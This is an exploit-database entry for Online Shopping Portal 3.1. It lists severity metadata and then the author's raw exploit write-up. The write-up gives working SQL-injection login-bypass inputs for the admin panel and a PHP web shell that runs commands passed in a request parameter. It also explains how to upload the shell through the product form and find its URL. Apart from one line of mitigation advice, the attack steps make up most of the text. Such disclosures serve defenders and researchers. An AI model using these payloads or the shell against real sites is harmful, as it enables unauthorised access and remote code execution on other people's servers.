Online Shopping Portal 3.1 - Authentication Bypass

vendor:

Online Shopping Portal

by:

Ümit Yalçın

8.8

CVSS

HIGH

Authentication Bypass & Remote Code Execution

287, 78

CWE

Product Name: Online Shopping Portal

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: NO

Related CWE: N/A

CPE: a:phpgurukul:online_shopping_portal

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 / WampServer

2020

Online Shopping Portal 3.1 – Authentication Bypass

An authentication bypass vulnerability exists in Online Shopping Portal 3.1. An attacker can bypass authentication by using SQL injection with '# or ' OR 1=1# as username and any password. After bypassing authentication, an attacker can upload a shell to the remote code execution. The shell can be found in the productimages folder and can be used to execute code.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Online Shopping Portal 3.1 - Authentication Bypass
# Date: 2020-06-25
# Exploit Author: Ümit Yalçın
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/
# Version: 3.1
# Tested on: Windows 10 / WampServer

1- Authentication Bypass

Go to following url!
http://localhost/shopping/admin/

Default admin username is admin, to bypass authentication use sql bypass like '# or ' OR 1=1#

username = admin'#
passwrod = what ever you want


2- Uploading Shell to Remote Code Execution

After bypassed the authentication go to insert-product field
http://localhost/shopping/admin/insert-product.php


after that, upload you shell , as an example

<?php
$exe = shell_exec($_REQUEST['cmd']);
echo $exe;
?>


and go to http://localhost/shopping/admin/productimages/ and all possible folders named with number from 1 like 

http://localhost/shopping/admin/productimages/1
http://localhost/shopping/admin/productimages/2
http://localhost/shopping/admin/productimages/3
http://localhost/shopping/admin/productimages/4
http://localhost/shopping/admin/productimages/5

When you find your shell, for example you found at 21

TARGET/shopping/admin/productimages/21/shell.php?cmd=CODE_YOU_WANT_TO_EXECUTE